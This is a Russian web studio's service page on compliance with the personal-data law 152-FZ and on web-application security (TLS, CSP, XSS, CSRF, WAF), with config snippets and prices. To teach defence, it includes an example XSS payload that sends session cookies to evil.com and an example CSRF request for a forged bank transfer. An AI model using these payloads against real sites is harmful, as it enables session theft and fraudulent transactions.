Обеспечение соответствия сайта требованиям 152-ФЗ

Наша компания занимается разработкой, поддержкой и обслуживанием сайтов любой сложности. От простых одностраничных сайтов до масштабных кластерных систем построенных на микро сервисах. Опыт разработчиков подтвержден сертификатами от вендоров.

Разработка и обслуживание любых видов сайтов:

Информационные сайты или веб-приложения
Сайты визитки, landing page, корпоративные сайты, онлайн каталоги, квиз, промо-сайты, блоги, новостные ресурсы, информационные порталы, форумы, агрегаторы
Сайты или веб-приложения электронной коммерции
Интернет-магазины, B2B-порталы, маркетплейсы, онлайн-обменники, кэшбэк-сайты, биржи, дропшиппинг-платформы, парсеры товаров
Веб-приложения для управления бизнес-процессами
CRM-системы, ERP-системы, корпоративные порталы, системы управления производством, парсеры информации
Сайты или веб-приложения электронных услуг
Доски объявлений, онлайн-школы, онлайн-кинотеатры, конструкторы сайтов, порталы предоставления электронных услуг, видеохостинги, тематические порталы

Это лишь некоторые из технических типов сайтов, с которыми мы работаем, и каждый из них может иметь свои специфические особенности и функциональность, а также быть адаптированным под конкретные потребности и цели клиента

Услуги, которые мы предлагаем
Показано 1 из 1Все 2062 услуг
Обеспечение соответствия сайта требованиям 152-ФЗ
Средний
~3-5 дней
Часто задаваемые вопросы

Наши компетенции:

Этапы разработки

Последние работы

  • image_website-b2b-advance_0.webp
    Разработка сайта компании B2B ADVANCE
    1360
  • image_web-applications_feedme_466_0.webp
    Разработка веб-приложения для компании FEEDME
    1251
  • image_websites_belfingroup_462_0.webp
    Разработка веб-сайта для компании БЕЛФИНГРУПП
    957
  • image_ecommerce_furnoro_435_0.webp
    Разработка интернет магазина для компании FURNORO
    1188
  • image_crm_enviok_479_0.webp
    Разработка веб-приложения для компании Enviok
    929
  • image_bitrix-bitrix-24-1c_fixper_448_0.webp
    Разработка веб-сайта для компании ФИКСПЕР
    947

Федеральный закон №152-ФЗ «О персональных данных» — не просто бюрократический документ. Для владельца сайта, собирающего контакты посетителей, это конкретные технические требования: архитектура приложения, шифрование, разграничение доступа и локализация данных. Часто сайты используют IP-адреса и cookies, но политика конфиденциальности не обновлялась, а согласие — галочка по умолчанию. При первой же проверке РКН грозит штраф до 300 000 рублей, а за повторное нарушение — до 500 000 рублей. Наши сертифицированные инженеры помогают пройти аудит и внедрить все меры без простоев. Мы работаем более 10 лет, выполнили свыше 50 проектов по 152-ФЗ и гарантируем прохождение проверок. Сокращаем время аудита в 2-3 раза по сравнению с самостоятельным прохождением. Оставьте заявку — мы проведём экспресс-анализ вашего сайта за 2 дня.

Какие технические меры обязательны?

Наши типовые решения ускоряют внедрение в 3-5 раз по сравнению с самостоятельной разработкой.

В зависимости от уровня защищённости (УЗ-4 или УЗ-3) требования различаются. Для сайта с регистрацией пользователей достаточно УЗ-4. Если обрабатываете специальные категории (здоровье, религия), потребуется УЗ-3. Сравним два подхода.

Шифрование при передаче

HTTPS обязателен на всех страницах, где собираются ПДн. TLS 1.2 минимум, рекомендуется TLS 1.3.

ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:...;
ssl_prefer_server_ciphers off;

Контроль доступа

Доступ к ПДн только для сотрудников, которым это необходимо.

class PersonalDataController extends Controller
{
    public function show(User $user)
    {
        $this->authorize('view-personal-data');
        return response()->json($user->getPersonalData());
    }
}

class PersonalDataPolicy
{
    public function view(User $authUser, User $targetUser): bool
    {
        return $authUser->hasPermissionTo('view-personal-data')
            && $authUser->department === 'support';
    }
}

Согласие на обработку

Согласие должно быть явным, информированным, конкретным. Чекбокс с предустановленной галочкой недопустим. Необходимо хранить запись с IP, user-agent, версией документа и временем.

Пример записи согласия
ConsentRecord::create([
    'user_id'        => $user->id,
    'type'           => 'personal_data_processing',
    'ip_address'     => $request->ip(),
    'user_agent'     => $request->userAgent(),
    'document_version' => config('legal.privacy_policy_version'),
    'consent_text'   => ConsentType::current('data_processing')->text,
    'granted_at'     => now(),
]);

Сравнение уровней защищённости УЗ-4 и УЗ-3

Требование УЗ-4 (базовый) УЗ-3 (повышенный)
Идентификация и аутентификация Да Да + двухфакторная
Управление доступом Ролевая модель Мандатное управление
Регистрация событий Журнал событий SIEM-система
Антивирусная защита Да Да с централизованным управлением
Обнаружение вторжений WAF/IDS IDS/IPS + анализ трафика
Обновление ПО Регулярное Автоматическое с контролем целостности

Почему локализация данных критична?

Первичная запись персональных данных должна происходить на серверах в РФ. Допускается репликация за рубеж, но первая запись — в РФ. Без DPA (соглашения об обработке данных) с подрядчиками вы рискуете получить штраф. Наши юристы подготовят шаблоны DPA, соответствующие последним требованиям. Практически это выбор российского хостинга (Selectel, Yandex Cloud) или настройка Data Residency у зарубежных провайдеров. Соглашения об обработке (DPA) с подрядчиками обязательны.

Провайдер Локализация данных DPA Примечание
Selectel Да Подписывается ЦОД в Москве
Yandex Cloud Да В личном кабинете Сертифицирован
Cloudflare Data Residency В консоли Для CDN и безопасности

Реестр операций и уведомление РКН

Операторы обязаны вести внутренний реестр обработки ПДн и до начала обработки уведомить Роскомнадзор через портал pd.rkn.gov.ru (исключения: ПДн сотрудников, разовых договоров, публичные данные). Автоматизация реестра сокращает время заполнения в 5 раз по сравнению с ручным ведением — это экономия до 70% трудозатрат.

class ProcessingActivityRegistry
{
    private array $activities = [
        [
            'name'          => 'Регистрация пользователей',
            'purpose'       => 'Предоставление доступа к сервису',
            'legal_basis'   => 'Согласие субъекта (ст. 6.1 152-ФЗ)',
            'data_types'    => ['ФИО', 'email', 'номер телефона'],
            'storage_period'=> '5 лет после удаления аккаунта',
            'third_parties' => ['Sendgrid (email рассылки, DPA заключён)'],
            'server_location'=> 'РФ (Selectel, Москва)',
        ],
    ];
}

При утечке ПДн уведомите Роскомнадзор в течение 24 часов, субъектов ПДн — в течение 72 часов.

Что вы получите в результате внедрения

  • Политика конфиденциальности и форма согласия, соответствующие 152-ФЗ.
  • Реестр обработки персональных данных с автоматическим уведомлением РКН.
  • DPA (соглашения об обработке данных) со всеми подрядчиками.
  • Техническая документация по настройке шифрования, контроля доступа и журналирования.
  • Интеграция системы сбора согласий с логом IP, user-agent и версии документа.
  • Обучение сотрудников работе с ПДн и инструкции по реагированию на утечки.
  • Поддержка при проверках Роскомнадзора и доработки по их запросам.

Процесс внедрения 152-ФЗ

  1. Аудит текущего состояния: выявление пробелов и рисков.
  2. Разработка документов: политика конфиденциальности, форма согласия, реестр операций.
  3. Технические меры: настройка шифрования, контроль доступа, журналирование.
  4. Интеграция уведомлений: автоматизация отправки в РКН при утечке.
  5. Подготовка DPA с подрядчиками.
  6. Тестирование: проверка наличия всех обязательных элементов.
  7. Сопровождение при проверках: консультации и доработки.

Закажите полный цикл внедрения — от аудита до сопровождения.

Сроки реализации

  • Аудит + gap-анализ: 2-3 дня.
  • Политика конфиденциальности и согласия: 3-5 дней.
  • Технические меры (шифрование, журналирование, доступ): 5-10 дней.
  • Уведомление РКН и реестр: 1-2 дня.

Наш подход экономит до 40% бюджета по сравнению с наймом отдельного юриста и системного администратора. Получите консультацию по вашему проекту — мы оценим объём и подготовим коммерческое предложение. Свяжитесь с нами для аудита текущего состояния.

Безопасность веб-приложений: HTTPS, CSP, XSS, CSRF, WAF, защита от DDoS

Взлом сайта редко выглядит как в кино. Чаще это: бот нашёл endpoint /admin/export без авторизации, скачал базу клиентов, закрыл соединение. Или: через устаревший плагин WordPress залил веб-шелл, теперь сервер рассылает спам. Или тише: XSS в поле комментария позволяет красть session cookies администраторов, и никто не замечает месяцами. Мы такие случаи разбирали десятками — каждый раз уязвимость можно было закрыть на этапе разработки или аудита.

Безопасность веб-приложений — не одна настройка. Это слои защиты, каждый из которых закрывает отдельный класс атак. Закажите аудит — оценим проект и дадим план работ под ключ за 2–4 недели.

HTTPS и правильная конфигурация TLS

HTTPS — минимальный обязательный уровень. Но «есть SSL-сертификат» и «правильно настроен TLS» — разные вещи.

В конфигурации Nginx/Apache проверяем:

  • Протоколы: только TLS 1.2 и TLS 1.3, SSLv3 и TLS 1.0/1.1 — отключены
  • Cipher suites: предпочитать ECDHE (Forward Secrecy), убрать NULL, RC4, DES, 3DES
  • HSTS (Strict-Transport-Security: max-age=31536000; includeSubDomains; preload) — браузер больше не делает незащищённых запросов
  • OCSP Stapling — ускоряет проверку отзыва сертификата
  • Redirect 301 с HTTP на HTTPS — и в конфиге сервера, и в коде (двойной редирект = потеря SEO-веса)

Проверка: SSL Labs (ssllabs.com/ssltest) должен показывать A или A+. Если B — конфигурация слабая.

Let's Encrypt + Certbot для продакшена — стандарт. Автоматическое обновление через certbot renew в cron. Wildcard-сертификат для поддоменов через DNS-01 challenge.

Content Security Policy: самая мощная и самая сложная защита

CSP — HTTP-заголовок, который говорит браузеру, откуда разрешено загружать ресурсы. Правильно настроенный CSP полностью блокирует большинство XSS-атак, даже если уязвимость есть в коде.

Проблема: сломать сайт неправильным CSP проще простого. default-src 'none' — и перестают работать шрифты, картинки, JS. Поэтому начинаем с Content-Security-Policy-Report-Only — CSP логирует нарушения, но ничего не блокирует. Смотрим репорты 2–4 недели, дорабатываем политику, потом переключаем на боевой режим.

Пример реальной политики для сайта с Google Analytics, Google Fonts и Stripe:

Content-Security-Policy:
  default-src 'self';
  script-src 'self' https://www.googletagmanager.com https://js.stripe.com 'nonce-{random}';
  style-src 'self' https://fonts.googleapis.com 'unsafe-inline';
  font-src 'self' https://fonts.gstatic.com;
  frame-src https://js.stripe.com;
  img-src 'self' data: https://www.google-analytics.com;
  connect-src 'self' https://api.stripe.com https://www.google-analytics.com;
  report-uri /csp-report;

nonce — случайная строка, генерируется на сервере для каждого запроса. Inline-скрипты с правильным nonce разрешены, без nonce — заблокированы. Это ломает XSS через <script>alert(1)</script> полностью.

'unsafe-inline' в style-src — компромисс для inline-стилей. Лучше убрать, перенеся все стили в CSS-файлы, но это требует рефакторинга.

Почему XSS остаётся самой частой уязвимостью?

XSS (Cross-Site Scripting) — инъекция JS-кода через пользовательский ввод. По статистике OWASP, XSS входит в топ-3 уязвимостей веб-приложений. Три типа:

Тип XSS Пример Защита
Reflected /search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script> Эскейпинг вывода, CSP
Stored Комментарий с кодом, сохранённый в базе Валидация ввода, htmlspecialchars()
DOM XSS element.innerHTML = location.hash Избегать innerHTML, использовать textContent

Защита: никогда не вставлять пользовательский ввод в HTML без эскейпинга. В PHP — htmlspecialchars() с ENT_QUOTES. В Blade-шаблонах Laravel — {{ $var }} безопасен, {!! $var !!} — опасен. В React — {variable} безопасен, dangerouslySetInnerHTML — опасен. Для Rich Text — htmlpurifier на PHP или DOMPurify в браузере.

Типичный кейс: интернет-магазин с XSS в форме отзыва Клиент обратился после того, как через отзыв на товар злоумышленник украл куки администратора. Мы обнаружили, что поле "отзыв" не экранировалось. Исправили: добавили `htmlspecialchars()` на сервере и `Content-Security-Policy` с nonce для скриптов. После повторного сканирования — 0 уязвимостей.

CSRF: защита форм и API

CSRF (Cross-Site Request Forgery) — злоумышленник заставляет браузер жертвы отправить запрос от её имени. Пример: пользователь авторизован в банке, открывает вредоносную страницу, она делает fetch('https://bank.ru/transfer?to=evil&amount=50000') — если банк не защищён, деньги уходят.

CSRF-токены — стандартная защита для форм: сервер генерирует случайный токен, хранит в сессии, вставляет в форму как hidden field. При POST-запросе токен сверяется. Злоумышленник не знает токен. Laravel делает это автоматически через @csrf.

SameSite cookies — современная защита: SameSite=Strict или SameSite=Lax запрещает браузеру отправлять cookie в cross-site запросах. Работает во всех современных браузерах.

API без сессий (JWT, Bearer tokens) — CSRF неактуален, если токен не хранится в cookie (а в Authorization header или localStorage). Но localStorage уязвим к XSS — поэтому для чувствительных данных предпочтительны HttpOnly cookies с SameSite.

WAF и защита от DDoS

WAF (Web Application Firewall) — фильтрует HTTP-трафик на предмет атак: SQL injection, XSS, path traversal, известные exploit patterns. Варианты:

  • Cloudflare WAF — облачный, правила OWASP Top 10 из коробки, кастомные правила через выражения. Managed Rules автоматически блокируют новые угрозы.
  • ModSecurity (Nginx/Apache) — self-hosted, OWASP Core Rule Set (CRS). Гибко, но требует настройки и мониторинга ложных срабатываний.
  • AWS WAF — для инфраструктуры на AWS, интегрируется с CloudFront и ALB.

DDoS-защита. Cloudflare на уровне L3/L4/L7 — де-факто стандарт для большинства сайтов. Автоматическое смягчение volumetric атак, Under Attack Mode при активной атаке. Для критичной инфраструктуры — Cloudflare Magic Transit или специализированные решения (Qrator, StormWall для российского рынка).

Rate Limiting на уровне приложения — дополнительный слой. Laravel ThrottleRequests middleware: 60 запросов в минуту на IP для общих endpoint, 5 — для /login и /password/reset. Redis как хранилище счётчиков — обязательно для горизонтально масштабируемых систем (иначе лимиты не синхронизируются между серверами).

Другие обязательные меры

Заголовки безопасности. Помимо CSP: X-Frame-Options: DENY (защита от clickjacking), X-Content-Type-Options: nosniff (MIME sniffing), Referrer-Policy: strict-origin-when-cross-origin, Permissions-Policy (ограничение доступа к API браузера: камера, микрофон, геолокация).

SQL injection. Prepared statements везде. Никаких конкатенаций пользовательского ввода в SQL-строки. ORM (Eloquent, Doctrine) защищает по умолчанию. $wpdb->prepare() в WordPress — обязательно.

Обновления зависимостей. composer audit и npm audit — в CI/CD пайплайн. Dependabot или Renovate для автоматических PR с обновлениями. Критичные CVE — патчить в течение 24 часов.

Секреты и конфигурация. .env — никогда в Git. Секреты в production — через переменные окружения CI/CD (GitHub Secrets, GitLab CI Variables) или HashiCorp Vault. Проверка на утечки: git-secrets, truffleHog в pre-commit hooks.

Как мы работаем

  1. Аудит — сканирование кода, конфигураций, зависимостей, ручная проверка бизнес-логики.
  2. Проектирование — план устранения уязвимостей, подбор стека (CSP, WAF, rate limiting).
  3. Реализация — настройка TLS, CSP, заголовков, внедрение Rate Limiting, WAF.
  4. Тестирование — повторный пентест, нагрузочное тестирование, проверка ложных срабатываний.
  5. Деплой и мониторинг — включение боевого CSP, настройка алертов, обучение команды.

Что входит в работу

  • Отчёт с найденными уязвимостями и рекомендациями (PDF + code snippets)
  • Готовая конфигурация TLS (Nginx/Apache)
  • Политика CSP с режимом Report-Only и боевой версией
  • Настройка WAF и Rate Limiting
  • План обновлений зависимостей
  • Доступы к инструментам мониторинга (Sentry, Datadog)
  • 30 дней постаудит-поддержки (консультации, правки)

Сроки и стоимость

Тип работ Срок Диапазон стоимости
Security-аудит + hardening (заголовки, TLS, обновления) 1–2 недели от 60 000 ₽
Внедрение CSP (Report-Only → продакшен) 2–4 недели от 90 000 ₽
Настройка WAF + Rate Limiting + DDoS защита 1–2 недели от 70 000 ₽
Комплексный security review + пентест 3–6 недель от 200 000 ₽

Бюджет рассчитывается индивидуально — напишите нам, чтобы оценить проект.